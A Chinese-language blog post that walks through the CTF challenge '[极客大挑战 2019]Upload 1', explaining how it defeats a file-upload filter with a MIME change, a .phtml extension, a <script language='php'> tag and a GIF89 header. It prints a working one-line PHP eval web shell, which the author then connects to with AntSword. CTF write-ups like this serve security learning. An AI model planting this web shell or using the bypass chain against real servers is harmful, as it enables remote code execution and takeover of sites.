进入可以看到,这时一道文件上传题目![[极客大挑战 2019]Upload 1](https://blog.ytso.com/wp-content/themes/justnews/themer/assets/images/lazy.png)
直接上传test.php![[极客大挑战 2019]Upload 1](https://blog.ytso.com/wp-content/themes/justnews/themer/assets/images/lazy.png)
![[极客大挑战 2019]Upload 1](https://blog.ytso.com/wp-content/themes/justnews/themer/assets/images/lazy.png)
提示Not image不是图片,可能是MIME绕过,尝试抓包修改Content-Type![[极客大挑战 2019]Upload 1](https://blog.ytso.com/wp-content/themes/justnews/themer/assets/images/lazy.png)
![[极客大挑战 2019]Upload 1](https://blog.ytso.com/wp-content/themes/justnews/themer/assets/images/lazy.png)
提示Not php,猜测可能是检测后缀名不能是php,将test.php改名为test.phtml进行上传![[极客大挑战 2019]Upload 1](https://blog.ytso.com/wp-content/themes/justnews/themer/assets/images/lazy.png)
根据上传提示,不能有<?应该是检查了我们的文件内容
可是使用script脚本的木马,只需要将language修改为php即可
<script language="php">@eval($_POST['cmd']);</script>
![[极客大挑战 2019]Upload 1](https://blog.ytso.com/wp-content/themes/justnews/themer/assets/images/lazy.png)
这次直接提示我们不是一个图片,检查了我们的文件内容
在文件头中加入GIF89,尝试绕过图片检测![[极客大挑战 2019]Upload 1](https://blog.ytso.com/wp-content/themes/justnews/themer/assets/images/lazy.png)
可以看到文件上传成功,那么文件上传到了哪里呢?一般默认就是upload目录,有些可以在源代码中看到上传地址
访问上传的木马![[极客大挑战 2019]Upload 1](https://blog.ytso.com/wp-content/themes/justnews/themer/assets/images/lazy.png)
查看源代码可以看到,木马已经被当做php执行,直接使用蚁剑连接木马![[极客大挑战 2019]Upload 1](https://blog.ytso.com/wp-content/themes/justnews/themer/assets/images/lazy.png)
测试连接成功,右键查看flag![[极客大挑战 2019]Upload 1](https://blog.ytso.com/wp-content/themes/justnews/themer/assets/images/lazy.png)
![[极客大挑战 2019]Upload 1](https://blog.ytso.com/wp-content/themes/justnews/themer/assets/images/lazy.png)
使用知识点:
MIME绕过
phtml、php3等后缀解析为php
javascript脚本language属性设置解析PHP
GIF89绕过检测文件是否为图片函数
原创文章,作者:ItWorker,如若转载,请注明出处:https://blog.ytso.com/tech/php/287895.html